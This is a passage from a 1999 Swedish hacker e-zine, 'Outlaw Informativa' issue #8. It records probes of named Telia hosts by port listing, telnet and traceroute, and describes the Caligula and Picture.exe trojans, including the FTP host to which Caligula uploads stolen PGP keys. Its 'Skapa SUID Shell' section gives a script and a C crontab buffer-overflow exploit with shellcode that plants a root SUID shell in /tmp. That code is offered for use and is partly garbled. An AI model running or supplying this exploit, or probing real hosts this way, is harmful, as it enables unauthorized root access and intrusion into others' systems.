 137    netbios-ns  (vad står ns för?, namserver ?)
 138    netbios-dgm (vad står dgm för ?)
 139    netbios-ssn (Vad står ssn för ?, SecureSecuredNetwork =) ?)
   
  Detta tyder på att  dom  andvänder  NT, alla LAMA företag andvänder
  NT, det är *NIX som gäller. Men kan också andväna Unix men också både
  och, det är det som jag också vill få reda på. Jag testade att logga in på
  ett telia konto på servern, det gav:

 Jag testade att telnetta till finger porten (79) och fick då fram  mitt  eget
 hostname, vilket tyder på att det är någon slags packet filter eller nåt.

     Line     User      Host(s)                  Idle Location
 *  2 vty 0             idle                 00:00:00 xxxxxxxxx.telia.com

   vty, ska stå för nåt med Virtual Terminal iafs.
   idle står för hur länge sedan usern knappade på controllern, dvs tangentbo-
   rdet.

 Detta ser ut att vara någon slags PPP station och antagligen när man kommuni-
 cerar mellan hemnumret till Telia så går informationen mellan olika datorer i
 Telias nätverk som hanterar uppkopplingsförbindelserna osv.

 Testa att telnetta till 209.95.159.21, vilket  ger  samma  Login  prompt  som
 209.95.159.22. Som tyder på att det är en rad  datorer  eller  maskiner  (typ
 packet filter osv.) som styr uppkopplingen och kommunikation från  min  dator
 genom telias nätverk till nästa dator, typ:

  ____            _     _     .------.    _     _      ____
 |    |=========>|*|-->|*|--->|------|-->|*|-->|*|===>|    |
 |PC1 |           |     |     |NT   ¤|    |     |     |xxx |
 |____|<=========|*|<--|*|<---|Serv ¤|<--|*|<--|*|<===|____| 
                  ¯     ¯     '------'    ¯     ¯

 PC1: En persondator
  _
 |*|: Små applikationer som hör till telias nätverk, typ ppp stationer som
  ¯   hanterar uppkopplingar och förbindelser. En sak som är säker är att 
      Telia har ett antal ATM växlar som IP:et går igenom.
          
 NT : Telias Windows NT server.
 Serv

 xxx: Datorn som innehåller filer för  transmissionen, t.ex. FTP  servern  som
      du ska hämta ner Slackware 4.0 ifrån eller helt enkelt t.ex. Aftonblade-
      ts hemsida, välj själv.
 
 Ok, nu testar vi en annan dator...

 209.95.159.5  [sf-i2.telia.net]

 Jag testar att telnetta, vilket ger en login prompt..precis som när jag
 telnettade till 209.95.159.22 och 209.95.159.21.

 Jag testade sedan att telnetta till Chargen(19) vilket  genererade  en  massa
 tecken som aldrig tog stopp, i den här stilen:

 ------------------------------------------------------------------------
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgh
 "#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi
 #$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghij
 $%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijk
 %&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijkl
 &'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklm
 '()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmn
 ()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno
 )*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnop
 *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopq
 +,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqr
 ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs
 -./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrst
 ./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstu
 /0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuv
 0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvw
 123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwx
 23456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxy
 3456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz
 ------------------------------------------------------------------------

 Enligt uppgifter har jag hört att chargen andvänds för att kontrollera
 hastigheten i en anslutning. De kan även utnyttjas för DoS attacker.


 Hmm, jag testar att göra en traceroute på 209.95.159.5:

  1   167 ms   228 ms   174 ms  md4690401.utfors.se [212.105.4.1]
  2   162 ms   152 ms   157 ms  br-00-00.utfors.net [195.58.102.1]
  3   151 ms   154 ms   155 ms  195.58.100.50
  4     *      266 ms   233 ms  Hssi11-1-0.GW2.STK2.ALTER.NET [146.188.32.121]
  5   249 ms     *        *     422.ATM6-0-0.CR1.STK2.Alter.Net [146.188.5.65]
  6   347 ms   350 ms     *     219.ATM5-0.BR1.NYC5.Alter.Net [146.188.7.110]
  7   671 ms   733 ms   745 ms  431.ATM5-0.GW2.NYC5.ALTER.NET [137.39.30.141]
  8   868 ms   920 ms     *     152.ATM2-0.XR1.NYC1.ALTER.NET [146.188.177.246]

  9     *        *      875 ms  195.ATM6-0.XR1.NYC4.ALTER.NET [146.188.178.82]
 10   714 ms     *      614 ms  189.ATM3-0.GW8.NYC4.ALTER.NET [146.188.180.49]
 11   268 ms   314 ms   259 ms  Telia-gw.customer.ALTER.NET [157.130.5.74]
 12   257 ms   258 ms   255 ms  ny-b1-atm3-0-101.usa.telia.net [209.95.129.69]
 13   381 ms   336 ms   330 ms  sf-b1-pos0-0.telia.net [209.95.159.21]
 14   460 ms   331 ms   345 ms  sf-i2.telia.net [209.95.159.5]

 ATM är ju en växel för transmission i Nätverk, intressant. Det tyder stor  på
 att det är en ATM växel. Om du telnettar till t.ex. 146.188.178.82 (troligtv-
 is en ATM växel) så får du en login prompt.
 

 -----------------------------------------------------------------------------
                               Skapa SUID Shell
 -----------------------------------------------------------------------------
 #!/dev/null
 ##  By ncode -99
 ##  Detta skrevs av ren tråkighet, hoppas nån lär sig.
 ##  Detta programmet skapar ett suid shell(/tmp/XxX) åt dig.
 ##  Men root måste köra det för annars blir det ente suid.
 ##  Om det känns för fattigt kan du alltid köra 2.c 
 ##  Det är kodat av Dillon.

 <-- - - - - - - - -start of login.sh - - - - - - - - -->
 cp /bin/bash /XxX
 chmod 4755 /tmp/XxX
 <-- - - - - - - - -end of login.sh - - - - - - - - -->


 <-- - - - - - - - -start of 2.c- - - - - - - - -->
 /* Detta gör ungefär samma sak som login.sh */
 /* Kompilera 2.c och döp om a.out till nått trevligt */
 /* Därefter ska bara root köra det */ 

 #include 
 #include 
 #include 
 #include 
 #include 

 #define DEFAULT_OFFSET 560
 #define DEFAULT_BUFFER_SIZE 980 
 #define TOTAL_BUFFER 4096
 
 char shellcode[]=
 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
 "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
 "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
 "\xd7\xff\xff\xff/tmp/xo"; 

 long get_esp(void) {
    __asm__("movl %esp,%eax"); 
 }

 void calc_bs(int *bs_ptr)
 {
         int len=0;
         struct passwd *p_name; 

         /* dependant on length of username */
         p_name=getpwuid(getuid());
         len=strlen(p_name->pw_name);
         *bs_ptr = 986 - len;
         return;
 } 

 int main(int argc, char **argv) {
         char *buff = NULL;
         unsigned long *addr_ptr = NULL;
         char *ptr = NULL;
         int i, ofs=DEFAULT_OFFSET;
         int bs=DEFAULT_BUFFER_SIZE;
         FILE *fp=NULL;

         /* probably will not need to give argument */
         if (argc==2)
                 ofs=atoi(argv[1]);
         calc_bs(&bs);
         buff=malloc(TOTAL_BUFFER);
         if(!buff) {
                 perror("malloc");
                 exit(EXIT_FAILURE);
         }
         ptr=buff;
         memset(ptr,0x90, bs-strlen(shellcode));
         ptr += bs-strlen(shellcode);
         for (i=0; i\n");
         fprintf(fp,"#include \n");
         fprintf(fp,"main() {\n");
         fprintf(fp,"\tsystem(\"/bin/cp /bin/sh /tmp/XxX\");\n");
         fprintf(fp,"\tsystem(\"chown root /tmp/XxX\");\n");
         fprintf(fp,"\tsystem(\"chmod 4755 /tmp/XxX\");\n");
         fprintf(fp,"}\n");
         fclose(fp);
         /* compile our program to create suid shell */
         system("cc -o /tmp/xo /tmp/xo.c");
         unlink("/tmp/xo.c");


         /* now use crontab to plant overflow for crond */
         fp=fopen("r00t","w+");
         if (!fp) {
                 perror("fopen");
                 exit(EXIT_FAILURE);
         }
         fprintf(fp,"%s\n",buff);
         fclose(fp);
 
         /* put our r00t crontab in crontabs directory */
         system("/usr/bin/crontab r00t");
         unlink("r00t");
 
         /* helpful reminder */
         printf("Now wait about 1 minute and look\n");
         printf("for the suid shell -> /tmp/XxX\n");
         exit(0);
 } 
 <-- - - - - - - - -end of 2.c- - - - - - - - -->


 -----------------------------------------------------------------------------
                             Enkelt om 2 olika Trojaner
 -----------------------------------------------------------------------------
  [Förord]

 Jag tänke skriva enkelt om hur trojanerna Caligula och Picture.exe fungerar
 och vilket syfte de andvänds till.

 En trojan är en körbar fil som innehåller något som inte en X vet om, och som
 i syfte andvänds för att få full access till en dator för att t.ex. få tag  i
 Private Nycklar, Krypterade Filer, Hemligheter och Lösenord (typ .pwl)


  [Caligula]

 Caligula är en trojan som också kan betraktas som ett virus eftersom den inte 
 förstör något. Caligula är släppt av Codebreakers för  er  som  inte  visste.
 Viruset eller Trojanen är i själva värket ett Macro Virus som först tar  reda
 på var du  installerat  PGP (Pretty Good Privacy) genom  att  öppna  register
 nyckeln: HKEY_CLASSES_ROOT\PGP Encrypted File\shell\open\command. 

 När den hittat var PGP är installerat letar den efter secret  key  ring (/PGP 
 Keyrings/secring.skr) och när den hittat den kopierar Caligula din secret key
 ring och laddar upp den på Codebreakers ftp (208.201.88.110 eller ftp.codebr-
 eakers.org) i "incoming" katalogen.

 Efter ha kört Caligula skapar den en register nyckel i:
  
 HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info\Caligula

 och "value" till [1]

 Om du vill veta om du är infekterad av Caligula kan du ju enkelt ta  en  titt
 i registret, som alla vet så är Unix för säkert för att göra  en  trojan  som
 stödjer Linux, jo det är självklart att det finns. Men antalet  trojaner  som
 finns för Windows 9x och Windows NT är överlägset. Trojaner för Unix andvänds
 också ofta i ett annat syfte än en trojan för Windows.


  [Picture.exe]

 Picture.exe är en Trojan som skickas som bifogande via email. Picture.exe kan
 också ses i namnet Manager.exe. Om du nu skulle öppna Picture.exe så plasera-
 r den en liten fil i c:\Windows som heter note.exe också  en  rad  i  win.ini
 (c:\Windows\win.ini) som ser ut så här: RUN=NOTE.EXE. För er som inte  fattar
 så startar trojanen som är döpt till note.exe varje gång Windows startar, sen
 skapar den en fil i c:\Windows\$2321.dat, som innehåller en krypterad uppräk-
 ning av alla filtillägg i katalog-trädet, som startar med h, i, m, p, s eller
 t. Jag orkar inte förklara hur kryptering fungerar, det kan ni  läsa  i  ISS.
 Den letar efter sidor som offret varit på och  email  addresser, både  lokala 
 och folk offret mailat. Sen testar trojanen  att  connecta  till  olika  SMTP 
 servers och bli bekräftad. Picture.exe tar alltså kortfattat reda på en massa
 information om din dator som kan andvändas för angrepp och dataintrång.


 -----------------------------------------------------------------------------
                    Brev angående telias rätt om språrning 
 -----------------------------------------------------------------------------

                  To:               xxx@xxxxxx.com 
                  From:             xxx@telia.se
                  Subject:

 Från Telias sida kommenterar vi inte i vilka sammanhang och hur vi går  
 tillväga för att avslöja de personer som utnyttjar ett internetkonto  
 obehörigt. Den enda kommentaren jag är beredd att ge dig är att alla  
 som använt ett internetkonto finns registrerade samt att Telia har rätt  
 att använda denna information för att vidtaga lämpliga åtgärder. Vill  
 u diskutera detta ytterligare hänvisar jag dig till chefen för vår  
 avdelning, Internetsäkerhetsutredningar, Lennart Andersson som träffas  
 på tel xxx-xxxxxx



  -----Ursprungligt meddelande-----
  Från:    xxx@xxxxxx.com  [xxx@xxxxxx.com ]
  Skickat: den xx xxxx 1999
  Till:    xxx@telia.se
        

 Tänkte bara höra om era rättigheter för spårning fortfarande är lika  
 meningslös? Min polare blev drabbad av dessa ligister som använder så  
 kallade felias (vilket i min mening är helt omoraliskt) och efter 3  
 månaders väntan och nerskrivning av online tider så kom telia fram till  
 att hans konto blev (ab)used men de hade inte resurserna till att  
 spåra.. Skulle verkligen bli glad om du läste igenom bifogad fil och  
 kommenterade korrekt respektive inkorrekt information..
 Tack på förhand..

 -----------------------------------------------------------------------------
                             Linux för dumma, del #1
 -----------------------------------------------------------------------------
 Eftersom jag studerar just ämnet Linux/Unix nu så  tänkte  jag  börja  på  en
 liten serie med olika delar kring Linux/Unix, förhoppningsvis både  avancerat
 och grundläggande. Dessa  serier kommer vara skrivna helt för min egen skull. 
 Så kom inte och klaga.

 [Katalogstrukteren]

 /            - Rooten
 /boot        - Boot
 /bin         - Binary 
 /dev         - Devices
 /etc         - Etc
 /home        - Home
 /lost+found  - Lost+found
 /lib         - Library
 /mnt         - Mounted
 /proc        - Proc
 /root        - Root
 /sbin        - Sbin
 /tmp         - Temporary
 /usr         - User
 /var         - Variable


  -[ / ]-
 Rooten innehåller inte något speciellt förutom alla andra Bibliotek.


  -[ /boot ]-
 I /boot ligger nästan allt som har med kerneln att göra. Denna  heter  vlinuz
 eller vmlinuz-(version) och på vissa system även zImage. Här ligger även kart
 filer som håller reda på ditt system.
 

  -[ /bin ]-
 bin = binary = binärt. /bin är ett bibliotek reserverat för programfiler, och
 inte den  enda  (se längre ner i artikeln)  Just  i  detta  bibliotek  ligger
 kommando-program, så som typ ls, login, kill osv.


  -[ /dev ] -
 dev = devices. Här ligger filer som representerar  gränsnitt  på  datorn, typ
 floppyn, cdromen, zipdriven, nätverks kortet osv. Om du nu t.ex. vill  mounta
 floppyn skriver du. 

  # mount -t msdos /dev/fd0 /mnt/floppy

 Biblioteket /mnt specifieras längre ner.


  -[ /etc ]-
 Innehåller alla konfigurations filer för  olika  program  och  tjänster, även
 startfilerna (/etc/rc.d) och krypterade lösenord (/etc/shadow)


  -[ /home ]-
 Innehåller alla hem bibliotek för olika users.


  -[ /lost+found ]-
 I detta bibliotek lägger systemet alla  filer  och  delar  av  filer  som den
 hittar när den städar hårdisken.


  -[ /mnt ]-
 Reserverat bibliotek för monterade partioner/cdrom/floppy osv, t.ex.

 # cd /mnt
 # ls

 hda1 hda2 floppy cdrom

 Iofs kan du montera t.ex. en floppy i vilket bibliotek du vill, men  /mnt  är 
 reserverad för det.


   -[ /proc ]-
  Detta biblitek innehåller inte något fysiskt  filsystem, utan  ett  virtuellt
 system som hålls av primärminnet. Biblioteket innehåller information om syst-
 emet som många binära filer andvänder sig av. Du kan själv  kolla  genom  att 
 ge kommandot 

    more /proc/interrups


   -[ /root ]-
 Detta är en hem bibliotek för självaste  admin (root, superuser). Admins  hem
 bibbla ligger i ett separat bibliotek och inte i /home biblioteket.

   -[ /sbin ]-
 Innehåller installation/konfigurations verktyg som endast admin(root) kan
 andvända, verktyg så som fdisk, xf86config osv.


   -[ /tmp ]-
 tmp = Temporary, /tmp är ett bibliotek för temporära filer. Fungerar precis i
 samma syfte som c:/Windows/temp i Windoze 95.

 
   -[ /usr ]-
 Innehåller i stort sätt alla program på hela Native partitionen. /usr biblio-
 teket är uppdelat i olika delar...

 /usr/bin - Alla binära filer
 /usr/lib - Alla librarys
 /usr/doc - Dokumentation för alla program
 /usr/man - Manualer för alla program (samma som ovan)
 
 
   -[ /var ]-
 var = variable, men iafs...här ligger filer som varierar i storlek. Kan  du
 komma på någon ? ..inte, jaja...men typ Loggfiler, låsfiler, PID-filer  som
 innehåller information om programs processnummer.


 [Vad är Swap för något?]

 Det finns många som inte vet vad Swap är för något. Jag  tänkte  berätta  så
 enkelt så möjligt vad  det  är  och  vad  det  andvänds  till. Swap  är  ett
 Virtuellt minne som hjälper till när de fysiska  minnet  inte  räcker  till.
 Det första datorn gör när den arbetar är att ta till processorn, när proces-
 sorn inte räcker till hjälper de fysiska  minnet  till (det är då det börjar
 rassla i datorn) och när inte de fysiska minnet  räcker  till  hjälper  Swap
 minnet till.

 
 [Hur reagerar Linux när en andvändare inte har tillgång till ett kommando?]

 Det finns många olika kommandon  i  Linux, en  del  får  endast  andvändas av
 admin och en del är öppna för alla, hur reagerar Linux på detta ?

 praktisera... 

 $ adduser

 bash: adduser: command not found

 Här ger bash utdata att kommandot inte finns. Men du vet ju var kommandot
 adduser finns, ok..vi testar att gå till biblioteket där själv kommandot är
 lagrat.

 $ cd /sbin
 $ adduser

 bash: /sbin/adduser: Permission denied

 Jippi!, här står i alla fall att du inte har tillgång till kommandot inte får
 andvändas av någon annan en admin (root).
 


 -----------------------------------------------------------------------------
                                  Insändare
 -----------------------------------------------------------------------------
 Denna sektion kommer i framtiden dyka upp när det kommer in frågor och åsikt-
 er angående Heretics Inc. och Underground.

 
  --> Netscape 4.05 (Messenger) kryptering 

      Nu är det jag som har en fråga, eftersom det inte är någon än som har
      skickat in några frågor. Men jag undrar om det är nån som  vet  någon
      dokumentation eller c-script som har  med  algoritmen  som  krypterar
      Netscape Messenger i Netscape Communicator 4.05. Jag har märkt att om
      du väljer att Messenger ska komma ihåg lösenordet till din mailserver
      så sparas det i en  fil /users/username/prefs.js. Kolla  raden  nedan
      hur du nu hittar det krypterade lösenordet.
     
      user_pref("mail.pop_password", "krypterat passwd");
      user_pref("mail.remember_password", true);

      Första raden handhåller det krypterade lösenordet och den andra om du
      valt att composer ska komma ihåg ditt lösenord  till  ditt  konto  på
      mailservern. Första raden finns alltså inte om du inte har satt andra
      raden till "true"

        diox1de@hacksweden.com
 


 -----------------------------------------------------------------------------
                                 Avslutning
 -----------------------------------------------------------------------------
 Ja, nu var det slut för detta nummer, bättre information i nästa :)



              O U T L A W   I N F O R M A T I V A 
                                        issue #8

              Produced and (c) Heretics Incoperated.
                 Time/Date: 22:45 1999-10-09




  "Magic is a push/pull situation, like the universe itself. While one is 
   pushing, he cannot pull. The purpose of a ritual is to "push" the des-
   ired result within a unique span of time and space, then move away and 
   "pull" by divorcing oneself from all thoughts and related acts previo-
   usly ritualized."




        Knowledge is power, with no power you never get Knowledge
         - Heretics Inc.




-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i

iQA/AwUBN5zSsnRmgGlPBhFaEQLQngCgjAdjJAjiAqYXs9YTnGFjd0/VaXYAnj+Q
X3pmKDomoNWBQp8LyYIdwbqm
=estT
-----END PGP SIGNATURE-----
 

← outlaw_07.txt outlaw_09.txt →